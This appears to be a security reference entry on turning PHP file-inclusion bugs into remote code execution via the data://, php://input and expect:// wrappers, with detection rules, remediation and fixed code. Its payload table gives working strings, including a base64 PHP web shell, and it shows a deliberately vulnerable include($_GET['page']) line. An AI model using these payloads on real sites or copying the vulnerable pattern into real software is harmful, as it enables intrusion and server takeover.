LFI to RCE via PHP wrappers (data://, php://input, expect://)
LFI to RCE via PHP wrappers uses stream wrappers that supply attacker-controlled content directly to include — data:// embeds PHP in the URL, php://input feeds the raw POST body, and expect:// runs a shell command — turning a file-inclusion bug into remote code execution without needing a file on disk. It depends on allow_url_include (or the expect extension) being enabled.
How it works
include executes whatever PHP it is handed. If an attacker can make include read content they control, they achieve code execution. Several wrappers provide exactly that content channel.
data:// embeds the payload in the URI itself (text/plain or base64), so include('data://text/plain;base64,<PHP>') runs that PHP. php://input exposes the raw request body, so include('php://input') executes PHP posted in the body. Both require allow_url_include=On.
expect:// (from the PECL expect extension, rarely installed) executes a shell command directly, e.g. expect://id. Because these deliver code rather than selecting a file, they are the most direct LFI-to-RCE path when the configuration allows them.
When it works and when it fails
Works when
- User input reaches include/require and allow_url_include=On (required for data:// and php://input in include context).
- For expect://, the expect PECL extension is installed and enabled.
- No allowlist constrains which wrapper/resource the include receives.
Fails when
- allow_url_include=Off (the common default) — data:// and php://input cannot be included.
- The php:// / data:// wrappers are disabled, or input is allowlisted to fixed includes.
- expect extension not installed (almost always the case).
Representative payloads
Adapt these to your authorized target; they are shown in canonical form. Payloads are never translated.
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+Any OSPHP wrapperdata:// with a base64 PHP web shell (<?php system($_GET['c']);?>); include runs it, then ?c=id executes commands. Requires allow_url_include=On.
data://text/plain,<?php system('id');?>Any OSPHP wrapperPlain-text data:// variant running a single command inline; simplest proof of code execution.
php://inputAny OSPHP wrapperPoints include at the raw POST body; send <?php system('id');?> as the body to execute it. Requires allow_url_include=On.
Note: Deliver the PHP in the request body, not the URL.
expect://idLinux / UnixPHP wrapperRuns a shell command directly via the expect wrapper — only works where the PECL expect extension is installed.
Detection
In logs
- data:// , php://input , or expect:// in request parameters.
- POST requests to a file/page parameter whose body contains <?php or shell commands.
- Base64 blobs in a page parameter that decode to PHP tags.
In code
- User input reaching include/require with allow_url_include enabled.
- No allowlist between the request and the include target.
- expect extension present in the PHP build.
Detection rule: Alert on data://, php://input, expect:// in parameters and on request bodies containing <?php reaching an include endpoint.
Remediation
- Set allow_url_include=Off and allow_url_fopen=Off unless a specific, reviewed feature needs them — this alone blocks data:// and php://input includes.
- Never pass user input to include/require; resolve a key through an allowlist to a fixed local file.
- Reject input containing any URL scheme (data://, php://, expect://, phar://, file://).
- Do not install the expect extension on web hosts; keep disable_functions and least-privilege execution in place to limit blast radius.
Vulnerable (php)
include($_GET['page']); // data://..., php://inputFixed
// php.ini: allow_url_include=Off, allow_url_fopen=Off
$pages = ['home' => 'home.php', 'help' => 'help.php'];
$key = (string) ($_GET['page'] ?? 'home');
if (!isset($pages[$key])) { http_response_code(404); exit; }
include __DIR__ . '/pages/' . $pages[$key];An allowlist plus allow_url_include=Off removes every wrapper-based RCE path.
FAQ
- Why do data:// and php://input need allow_url_include?
- In an include/require context, PHP only treats URL-style wrappers as includable sources when allow_url_include is On. With it Off (the default), these wrappers cannot be executed through include, which neutralises the technique.